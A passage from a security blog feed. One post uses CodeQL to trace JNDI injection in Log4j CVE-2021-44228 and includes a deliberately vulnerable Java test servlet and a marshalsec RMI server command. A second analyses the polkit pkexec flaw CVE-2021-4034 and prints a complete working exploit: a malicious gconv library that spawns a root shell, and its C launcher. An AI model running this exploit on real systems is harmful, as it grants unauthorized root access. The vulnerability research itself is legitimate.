class="line"> exists(Field f |</span><br><span class="line"> ma.getArgument(0) = f.getAnAccess() and</span><br><span class="line"> f.hasName("PROVIDER_URL") and</span><br><span class="line"> f.getDeclaringType() instanceof TypeNamingContext</span><br><span class="line"> )</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>So, obviously, if the user input could only control the provider URL, this query still could locate it.</p><h4 id="Class-DefaultJndiInjectionAdditionalTaintStep"><a href="#Class-DefaultJndiInjectionAdditionalTaintStep" class="headerlink" title="Class DefaultJndiInjectionAdditionalTaintStep"></a>Class <code>DefaultJndiInjectionAdditionalTaintStep</code></h4><blockquote><p>A set of additional taint steps to be considered for taint tracking JNDI injection related data flows, in order to avoid taint tracking breaks when invoking third-party packages.</p></blockquote><ul><li><code>nameStep(node1, node2)</code> holds if <code>n1</code> to <code>n2</code> is a dataflow step that converts between <code>String</code> and <code>CompositeName</code> or <code>CompoundName</code> by calling <code>new CompositeName(tainted)</code> or <code>new CompoundName(tainted)</code>.</li><li><code>nameAddStep(node1, node2)</code> holds if <code>n1</code> to <code>n2</code> is a dataflow step that converts between <code>String</code> and <code>CompositeName</code> or <code>CompoundName</code> by calling <code>new CompositeName().add(tainted)</code> or <code>new CompoundName().add(tainted)</code>.</li><li><code>jmxServiceUrlStep(node1, node2)</code> holds if <code>n1</code> to <code>n2</code> is a dataflow step that converts between <code>String</code> and <code>JMXServiceURL</code> by calling <code>new JMXServiceURL(tainted)</code>.</li><li><code>jmxConnectorStep(node1, node2)</code> holds if <code>n1</code> to <code>n2</code> is a dataflow step that converts between <code>JMXServiceURL</code> and <code>JMXConnector</code> by calling <code>JMXConnectorFactory.newJMXConnector(tainted)</code>.</li><li><code>rmiConnectorStep(node1, node2)</code> holds if <code>n1</code> to <code>n2</code> is a dataflow step that converts between <code>JMXServiceURL</code> and <code>RMIConnector</code> by calling <code>new RMIConnector(tainted)</code>.</li></ul><h3 id="Interpreter-JndiInjectionQuery-qll"><a href="#Interpreter-JndiInjectionQuery-qll" class="headerlink" title="Interpreter JndiInjectionQuery.qll"></a>Interpreter <code>JndiInjectionQuery.qll</code></h3><p>Now, let’s advance to the “query” lib, here contains some information about how to perform global taint tracking.</p><h4 id="Class-JndiInjectionFlowConfig"><a href="#Class-JndiInjectionFlowConfig" class="headerlink" title="Class JndiInjectionFlowConfig"></a>Class <code>JndiInjectionFlowConfig</code></h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">class JndiInjectionFlowConfig extends TaintTracking::Configuration {</span><br><span class="line"> JndiInjectionFlowConfig() { this = "JndiInjectionFlowConfig" }</span><br><span class="line"></span><br><span class="line"> override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource }</span><br><span class="line"></span><br><span class="line"> override predicate isSink(DataFlow::Node sink) { sink instanceof JndiInjectionSink }</span><br><span class="line"></span><br><span class="line"> override predicate isSanitizer(DataFlow::Node node) {</span><br><span class="line"> node.getType() instanceof PrimitiveType or node.getType() instanceof BoxedType</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> override predicate isAdditionalTaintStep(DataFlow::Node node1, DataFlow::Node node2) {</span><br><span class="line"> any(JndiInjectionAdditionalTaintStep c).step(node1, node2)</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>It applied the <code>JndiInjectionSink</code> as the Sink to track</p><p>isSanitizer defines the condition that the result should be removed, in this case, if the node is a primitiveType or a BoxedType (Wrapped primitiveType), it will be removed.</p><p><code>isAdditionalTaintStep</code> adds additional taint steps, in this case, it uses <code>JndiInjectionAdditionalTaintStep</code>, while using this lib, the <code>any</code> filter indicates that we will any available subclass and here we will use class <code>DefaultJndiInjectionAdditionalTaintStep</code> which has been interpreted.</p><h4 id="Class-UnsafeSearchControlsSink"><a href="#Class-UnsafeSearchControlsSink" class="headerlink" title="Class UnsafeSearchControlsSink"></a>Class <code>UnsafeSearchControlsSink</code></h4><blockquote><p>A method that does a JNDI lookup when it receives a <code>SearchControls</code> argument with <code>setReturningObjFlag</code> = <code>true</code></p></blockquote><p>This class defined the unsafe search controls sink</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">exists(UnsafeSearchControlsConf conf, MethodAccess ma |</span><br><span class="line"> conf.hasFlowTo(DataFlow::exprNode(ma.getAnArgument()))</span><br><span class="line">|</span><br><span class="line"> this.asExpr() = ma.getArgument(0)</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>As we can see, it requires <code>UnsafeSearchControlsConf</code>, it defines the source and the sink of the flow, the source should be <code>UnsafeSearchControls</code> and the sink should be <code>UnsafeSearchControlsArgument</code>.</p><ul><li><code>UnsafeSearchControls</code>: A <code>SearchControls</code> object with <code>setReturningObjFlag</code> = <code>true</code>.<ul><li><a href="https://docs.oracle.com/javase/8/docs/api/javax/naming/directory/SearchControls.html">https://docs.oracle.com/javase/8/docs/api/javax/naming/directory/SearchControls.html</a></li><li><code>setReturningObjFlag</code> enables/disables returning objects returned as part of the result.</li></ul></li><li><code>UnsafeSearchControlsArgument</code>: An argument of type <code>SearchControls</code> of an <code>LdapOperations.search</code> or <code>DirContext.search</code> call.</li></ul><p>So the sink should be a method access’ first argument and one of the method access ‘ arguments will be flowed in following the rule defined in <code>UnsafeSearchControlsConf</code>.</p><h2 id="Test-JndiInjection-ql-with-Java-code"><a href="#Test-JndiInjection-ql-with-Java-code" class="headerlink" title="Test JndiInjection.ql with Java code"></a>Test <code>JndiInjection.ql</code> with Java code</h2><p><code>JndiInjection.ql</code> just simply invoked path query with <code>JndiInjectionFlowConfig</code>.</p><p>Here is the test code and part of it is extracted from the official demo.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">doGet</span><span class="params">(HttpServletRequest request, HttpServletResponse response)</span> </span>{</span><br><span class="line"> System.setProperty(<span class="string">"com.sun.jndi.rmi.object.trustURLCodebase"</span>,<span class="string">"true"</span>); <span class="comment">// necessary for Java 8</span></span><br><span class="line"> String name = request.getParameter(<span class="string">"name"</span>);</span><br><span class="line"></span><br><span class="line"> Hashtable<String, String> env = <span class="keyword">new</span> Hashtable<String, String>();</span><br><span class="line"> env.put(Context.INITIAL_CONTEXT_FACTORY, <span class="string">"com.sun.jndi.rmi.registry.RegistryContextFactory"</span>);</span><br><span class="line"> env.put(Context.PROVIDER_URL, <span class="string">"rmi://127.0.0.1:1099"</span>); <span class="comment">// Match ProviderUrlJndiInjectionSink</span></span><br><span class="line"> InitialContext ctx = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> ctx = <span class="keyword">new</span> InitialContext(env);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// BAD: User input used in lookup</span></span><br><span class="line"> ctx.lookup(name);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// GOOD: The name is validated before being used in lookup</span></span><br><span class="line"><span class="comment">// if (isValid(name)) {</span></span><br><span class="line"><span class="comment">// ctx.lookup(name);</span></span><br><span class="line"><span class="comment">// } else {</span></span><br><span class="line"><span class="comment">// // Reject the request</span></span><br><span class="line"><span class="comment">// }</span></span><br><span class="line"> } <span class="keyword">catch</span> (NamingException e) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> RuntimeException(e);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:4444/\<span class="comment">#Exploit 1099</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">jdk8</span><br><span class="line">codeql database create cwe074-test --language=java --source-root=/Users/kano/Workspace/IdeaProjects/demo12</span><br></pre></td></tr></table></figure><p><img src="../../img/Using%20CodeQL%20to%20find%20out%20Log4j%20CVE-2021-44228/image-20230211221440882.png" alt="image-20230211221440882"></p><p>We got the expected result. Verify the previous analysis with Quick evaluation</p><ul><li><code>DefaultJndiInjectionSink</code> located <code>String name = request.getParameter("name");</code></li><li><code>ProviderUrlJndiInjectionSink</code> located <code>env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");</code></li></ul><p>Excellent, this query works very well.</p><h2 id="Advance-to-Log4j-CVE-2021-44228"><a href="#Advance-to-Log4j-CVE-2021-44228" class="headerlink" title="Advance to Log4j CVE-2021-44228"></a>Advance to Log4j CVE-2021-44228</h2><p>Introduce <code>org.apache.logging.log4j-2.14.1</code> which you can find <a href="https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.14.1">here</a></p><h3 id="Prepare-the-database-for-CodeQL"><a href="#Prepare-the-database-for-CodeQL" class="headerlink" title="Prepare the database for CodeQL"></a>Prepare the database for CodeQL</h3><p>After configuring the <code>toolchains-sample-*.xml,</code> we can get the CodeQL database.</p><p>For better performance, we can exclude useless projects in <code>modules</code> section.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><modules></span><br><span class="line"> <module>log4j-api-java9</module></span><br><span class="line"> <module>log4j-api</module></span><br><span class="line"> <module>log4j-core-java9</module></span><br><span class="line"> <module>log4j-core</module></span><br><span class="line"> <!-- <module>log4j-layout-template-json</module></span><br><span class="line"> <module>log4j-core-its</module></span><br><span class="line"> <module>log4j-1.2-api</module></span><br><span class="line"> <module>log4j-slf4j-impl</module></span><br><span class="line"> <module>log4j-slf4j18-impl</module></span><br><span class="line"> <module>log4j-to-slf4j</module></span><br><span class="line"> <module>log4j-jcl</module></span><br><span class="line"> <module>log4j-flume-ng</module></span><br><span class="line"> <module>log4j-taglib</module></span><br><span class="line"> <module>log4j-jmx-gui</module></span><br><span class="line"> <module>log4j-samples</module></span><br><span class="line"> <module>log4j-bom</module></span><br><span class="line"> <module>log4j-jdbc-dbcp2</module></span><br><span class="line"> <module>log4j-jpa</module></span><br><span class="line"> <module>log4j-couchdb</module></span><br><span class="line"> <module>log4j-mongodb3</module></span><br><span class="line"> <module>log4j-mongodb4</module></span><br><span class="line"> <module>log4j-cassandra</module></span><br><span class="line"> <module>log4j-web</module></span><br><span class="line"> <module>log4j-perf</module></span><br><span class="line"> <module>log4j-iostreams</module></span><br><span class="line"> <module>log4j-jul</module></span><br><span class="line"> <module>log4j-jpl</module></span><br><span class="line"> <module>log4j-liquibase</module></span><br><span class="line"> <module>log4j-appserver</module></span><br><span class="line"> <module>log4j-osgi</module></span><br><span class="line"> <module>log4j-docker</module></span><br><span class="line"> <module>log4j-kubernetes</module></span><br><span class="line"> <module>log4j-spring-boot</module></span><br><span class="line"> <module>log4j-spring-cloud-config</module> --></span><br><span class="line"> </modules></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">codeql database create log4j-db -l java -s logging-log4j2-rel-2.14.1/ -c <span class="string">'./mvnw clean install -t toolchains-sample-mac.xml -Dmaven.test.skip=true'</span></span><br></pre></td></tr></table></figure><h3 id="Locate-the-source"><a href="#Locate-the-source" class="headerlink" title="Locate the source"></a>Locate the source</h3><p>Through debugging, we can know that the user input source is located in the various log functions in <code>log4j-api/src/main/java/org/apache/logging/log4j/spi/AbstractLogger.java</code>, like <code>debug</code>, <code>info</code>,<code>error</code>, and all of them will invoke <code>logIfEnabled</code> with “message” or “messageSupplier” parameter as log message.</p><p>So the source should be like this</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">class Log4jFlowSource extends DataFlow::Node{</span><br><span class="line"> Log4jFlowSource(){</span><br><span class="line"> this.asParameter().getCallable().hasName("logIfEnabled") and</span><br><span class="line"> (</span><br><span class="line"> this.asParameter().hasName("message") or</span><br><span class="line"> this.asParameter().hasName("messageSupplier")</span><br><span class="line"> )</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>And we need a new <code>TaintTracking::Configuration</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">class JndiInjectionFlowConfigInLog4j extends TaintTracking::Configuration{</span><br><span class="line"> JndiInjectionFlowConfigInLog4j() { this = "JndiInjectionFlowConfigInLog4j" }</span><br><span class="line"> override predicate isSource(DataFlow::Node source) { source instanceof Log4jFlowSource }</span><br><span class="line"></span><br><span class="line"> override predicate isSink(DataFlow::Node sink) { sink instanceof JndiInjectionSink }</span><br><span class="line"></span><br><span class="line"> override predicate isSanitizer(DataFlow::Node node) {</span><br><span class="line"> node.getType() instanceof PrimitiveType or node.getType() instanceof BoxedType</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> override predicate isAdditionalTaintStep(DataFlow::Node node1, DataFlow::Node node2) {</span><br><span class="line"> any(JndiInjectionAdditionalTaintStep c).step(node1, node2)</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">from DataFlow::PathNode source, DataFlow::PathNode sink, JndiInjectionFlowConfigInLog4j conf</span><br><span class="line">where conf.hasFlowPath(source, sink)</span><br><span class="line">select sink.getNode(), source, sink, "JNDI lookup might include name from $@.", source.getNode(),</span><br><span class="line"> "this user input"</span><br></pre></td></tr></table></figure><p>Just changed the <code>isSource</code> part and the other remains the same as <code>JndiInjectionFlowConfig</code>.</p><p>Run this query, we got this</p><p><img src="../../img/Using%20CodeQL%20to%20find%20out%20Log4j%20CVE-2021-44228/image-20230212233802283.png" alt="image-20230212233802283"></p><p><img src="../../img/Using%20CodeQL%20to%20find%20out%20Log4j%20CVE-2021-44228/image-20230212233811480.png" alt="image-20230212233811480"></p><p>Lucky! We successfully find a path proved that the user input could be passed to JNDI lookup. Full code is shown as bellow.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line">/**</span><br><span class="line"> * @name JNDI lookup with user-controlled name in Log4j Lib</span><br><span class="line"> * @description Performing a JNDI lookup with a user-controlled name can lead to the download of an untrusted</span><br><span class="line"> * object and to execution of arbitrary code.</span><br><span class="line"> * @kind path-problem</span><br><span class="line"> * @problem.severity error</span><br><span class="line"> * @security-severity 9.8</span><br><span class="line"> * @precision high</span><br><span class="line"> * @id java/jndi-injection</span><br><span class="line"> * @tags security</span><br><span class="line"> * external/cwe/cwe-074</span><br><span class="line"> */</span><br><span class="line"></span><br><span class="line">import java</span><br><span class="line">import semmle.code.java.security.JndiInjectionQuery</span><br><span class="line">import DataFlow::PathGraph</span><br><span class="line"></span><br><span class="line">class JndiInjectionFlowConfigInLog4j extends TaintTracking::Configuration{</span><br><span class="line"> JndiInjectionFlowConfigInLog4j() { this = "JndiInjectionFlowConfigInLog4j" }</span><br><span class="line"> override predicate isSource(DataFlow::Node source) { source instanceof Log4jFlowSource }</span><br><span class="line"></span><br><span class="line"> override predicate isSink(DataFlow::Node sink) { sink instanceof JndiInjectionSink }</span><br><span class="line"></span><br><span class="line"> override predicate isSanitizer(DataFlow::Node node) {</span><br><span class="line"> node.getType() instanceof PrimitiveType or node.getType() instanceof BoxedType</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> override predicate isAdditionalTaintStep(DataFlow::Node node1, DataFlow::Node node2) {</span><br><span class="line"> any(JndiInjectionAdditionalTaintStep c).step(node1, node2)</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class Log4jFlowSource extends DataFlow::Node{</span><br><span class="line"> Log4jFlowSource(){</span><br><span class="line"> this.asParameter().getCallable().hasName("logIfEnabled") and</span><br><span class="line"> (</span><br><span class="line"> this.asParameter().hasName("message") or</span><br><span class="line"> this.asParameter().hasName("messageSupplier")</span><br><span class="line"> )</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">from DataFlow::PathNode source, DataFlow::PathNode sink, JndiInjectionFlowConfigInLog4j conf</span><br><span class="line">where conf.hasFlowPath(source, sink)</span><br><span class="line">select sink.getNode(), source, sink, "JNDI lookup might include name from $@.", source.getNode(),</span><br><span class="line"> "this user input"</span><br></pre></td></tr></table></figure><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><p>CodeQL CWE Coverage: <a href="https://codeql.github.com/codeql-query-help/codeql-cwe-coverage/">https://codeql.github.com/codeql-query-help/codeql-cwe-coverage/</a></p><p>CodeQL query help for Java: <a href="https://codeql.github.com/codeql-query-help/java/">https://codeql.github.com/codeql-query-help/java/</a></p><p>CodeQL Repository: <a href="https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE">https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE</a></p>]]></content>
<summary type="html"><blockquote>
<p>Although there is a experimental CWE-020 query used for “Potential Log4J LDAP JNDI injection (CVE-2021-44228)” already, but at this time, I want to refit the CWE-074 to make it could find out CVE-2021-44228</p>
</blockquote></summary>
<category term="Experience" scheme="https://www.4xpl0r3r.com/categories/Experience/"/>
<category term="CVE" scheme="https://www.4xpl0r3r.com/tags/CVE/"/>
<category term="Java" scheme="https://www.4xpl0r3r.com/tags/Java/"/>
<category term="JNDI" scheme="https://www.4xpl0r3r.com/tags/JNDI/"/>
<category term="CodeQL" scheme="https://www.4xpl0r3r.com/tags/CodeQL/"/>
</entry>
<entry>
<title>Vulnerability-Analysis - CVE-2021-4034 Linux Polkit Privilege Escalation</title>
<link href="https://www.4xpl0r3r.com/Vuln-Analysis/Vulnerability-Analysis-CVE-2021-4034-Linux-Polkit-Privilege-Escalation/"/>
<id>https://www.4xpl0r3r.com/Vuln-Analysis/Vulnerability-Analysis-CVE-2021-4034-Linux-Polkit-Privilege-Escalation/</id>
<published>2022-01-30T03:46:14.000Z</published>
<updated>2022-09-14T02:14:20.000Z</updated>
<content type="html"><![CDATA[<p>The major reference: <a href="https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt">Qualys’ Advisory</a></p><span id="more"></span><article class="message message-immersive is-primary"><div class="message-body"><i class="fas fa-globe-asia mr-2"></i>This article is also available in <a href="https://cn.4xpl0r3r.com/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/CVE-2021-4034-Linux-Polkit-%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/">简体中文</a>.</div></article><h2 id="Vulnerabilty-Profile"><a href="#Vulnerabilty-Profile" class="headerlink" title="Vulnerabilty Profile"></a>Vulnerabilty Profile</h2><p>2022-01-25,The Exploit details of CVE-2021-4034 released, the vulnerabilty is found by <a href="https://www.qualys.com/">Qualys</a> Security Team in the <code>pkexec</code> , which is a component of the polkit suite.</p><p><code>pkexec</code> application is a tool to set uid, allowing a common user to execute a command as a privileged user according to a pre-defined policy. All mainstream Linux systems have this tool installed in default, and it’s executable has <code>SUID</code> bit set to work.</p><p>All pkexec versions since the first version in May 2009 are vulnerable to this. The commit: <a href="https://gitlab.freedesktop.org/polkit/polkit/-/commit/c8c3d835d24fc4ce5a9c596c7d55d85a0311e8d1">Add a pkexec(1) command (c8c3d835) · Commits · polkit / polkit · GitLab</a></p><p>Due to the widespread use of <code>pkexec</code>, the exploit of this vulnerability works in nearly all current Linux distributions with a wide range of effectiveness</p><h2 id="Vulnerabilty-Analysis"><a href="#Vulnerabilty-Analysis" class="headerlink" title="Vulnerabilty Analysis"></a>Vulnerabilty Analysis</h2><p>Please read the offical advisory: <a href="https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt">Qualys’ Advisory</a></p><p>In summary, we need 2 environment variable to exploit the vulnerabilty. First one is set to a arbitrary string, such as <code>x</code>, the second one is set to <code>PATH=GCONV_PATH=.</code>, which will be concat with <code>/x</code> and the command to execute will become <code>GCONV_PATH=./x</code>. After running <code>GCONV_PATH=./x</code>, we reintroduced an insecure environment which leads to privilege escalation.</p><h2 id="The-Exploit"><a href="#The-Exploit" class="headerlink" title="The Exploit"></a>The Exploit</h2><p>I installed a Ubuntu 20.04, and found the version of its <code>pkexec</code> is <code>0.105</code>, which is vulnerable.</p><p>Firstly, we need to build a evil shared library, which is used to obtain the privileged shell.</p><p>The code is as shown below</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">gconv</span><span class="params">()</span> </span>{}</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">gconv_init</span><span class="params">()</span> </span>{</span><br><span class="line"> setuid(<span class="number">0</span>); seteuid(<span class="number">0</span>); setgid(<span class="number">0</span>); setegid(<span class="number">0</span>);</span><br><span class="line"> system(<span class="string">"PATH=/bin:/usr/bin:/sbin /bin/sh"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p> Build it</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gcc -shared -fPIC payload.c -o payload.so</span><br></pre></td></tr></table></figure><p>The exploit</p><ul><li>the <code>LC_MESSAGES</code> is used to set the charset</li><li>set the <code>XAUTHORITY</code> to a illegal value to skip the normal execution, we only need the log function to exploit the vulnerabilty.</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/stat.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">char</span>* _argv[]={ <span class="literal">NULL</span> };</span><br><span class="line"> <span class="keyword">char</span>* _envp[]={</span><br><span class="line"> <span class="string">"x"</span>,</span><br><span class="line"> <span class="string">"PATH=GCONV_PATH=."</span>,</span><br><span class="line"> <span class="string">"LC_MESSAGES=en_US.UTF-8"</span>,</span><br><span class="line"> <span class="string">"XAUTHORITY=.."</span>,</span><br><span class="line"> <span class="literal">NULL</span></span><br><span class="line"> };</span><br><span class="line"> mkdir(<span class="string">"GCONV_PATH=."</span>, <span class="number">0777</span>);</span><br><span class="line"> mkdir(<span class="string">"x"</span>, <span class="number">0777</span>);</span><br><span class="line"> FILE *fp = fopen(<span class="string">"x/gconv-modules"</span>, <span class="string">"wb"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(fp, <span class="string">"module UTF-8// INTERNAL ../payload 2\n"</span>);</span><br><span class="line"> fclose(fp);</span><br><span class="line"> fp = fopen(<span class="string">"GCONV_PATH=./x"</span>, <span class="string">"wb"</span>);</span><br><span class="line"> fclose(fp);</span><br><span class="line"> chmod(<span class="string">"GCONV_PATH=./x"</span>,<span class="number">0777</span>);</span><br><span class="line"> execve(<span class="string">"/usr/bin/pkexec"</span>, _argv, _envp);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>Build it</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gcc exploit.c -o exp.out</span><br></pre></td></tr></table></figure><p>Run <code>./exp.out</code> and you will get the privileged shell.</p><h2 id="Fix-the-Vulnerabilty"><a href="#Fix-the-Vulnerabilty" class="headerlink" title="Fix the Vulnerabilty"></a>Fix the Vulnerabilty</h2><p>The modification: <a href="https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683">pkexec: local privilege escalation (CVE-2021-4034) (a2bf5c9c) · Commits · polkit / polkit · GitLab</a></p><p><img src="../../img/Vulnerability-Analysis-CVE-2021-4034-Linux-Polkit-Privilege-Escalation/image-20220130113542940.png" alt="image-20220130113542940"></p><p>As we can see, if the value of argc is less than 1, the program will exit directly.</p>]]></content>
<summary type="html"><p>The major reference: <a href="https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt">Qualys’ Advisory</a></p></summary>
<category term="Vuln-Analysis" scheme="https://www.4xpl0r3r.com/categories/Vuln-Analysis/"/>
<category term="CVE" scheme="https://www.4xpl0r3r.com/tags/CVE/"/>
<category term="C&C++" scheme="https://www.4xpl0r3r.com/tags/C-C/"/>
<category term="Linux" scheme="https://www.4xpl0r3r.com/tags/Linux/"/>
<category term="Priv-Escalation" scheme="https://www.4xpl0r3r.com/tags/Priv-Escalation/"/>
</entry>
<entry>
<title>OSCE3 Review (OSCP+OSEP+OSWE+OSED)</title>
<link href="https://www.4xpl0r3r.com/Certifications/OSCE3-Review-OSCP-OSEP-OSWE-OSED/"/>
<id>https://www.4xpl0r3r.com/Certifications/OSCE3-Review-OSCP-OSEP-OSWE-OSED/</id>
<published>2022-01-27T14:39:50.000Z</published>
<updated>2023-07-21T02:50:28.000Z</updated>
